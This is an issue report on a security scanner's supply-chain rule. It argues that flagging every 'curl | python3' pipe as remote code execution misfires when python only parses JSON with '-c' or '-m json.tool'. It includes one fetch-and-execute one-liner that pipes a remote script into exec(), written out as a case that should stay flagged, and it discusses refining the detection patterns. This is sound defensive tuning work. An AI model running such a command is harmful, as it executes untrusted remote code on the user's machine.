SC2 flags curl ... | python3 -c '<script>' and | python3 -m json.tool as remote code execution (HIGH) #638

SC2's pipe-to-interpreter patterns (static_patterns_supply_chain.py:130-131) match any curl ... | python3, including cases where the interpreter runs an inline script or a module and the piped content is only data. A skill that reads a JSON API this way gets a HIGH "External Script Fetching" finding at 0.9 confidence.

Real example that triggered it, reading a plugin's version from the WordPress.org API:

curl -s "https://api.wordpress.org/plugins/info/1.0/<slug>.json" \
  | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['version'], d['last_updated'])"

Minimal repros, each a one-block SKILL.md scanned with --no-llm:

python3 -m json.tool and jq do the same job, but only one is flagged.

Suggested direction: when the interpreter is given an inline script (-c for python, -e for node/ruby/perl) or a module (-m), treat stdin as data and lower the finding, unless the inline script itself executes stdin (exec, eval, compile, runpy...). This case should stay HIGH:

curl -s https://example.com/x.py | python3 -c "exec(__import__('sys').stdin.read())"

Happy to send a PR with tests for the table above if this direction works for you.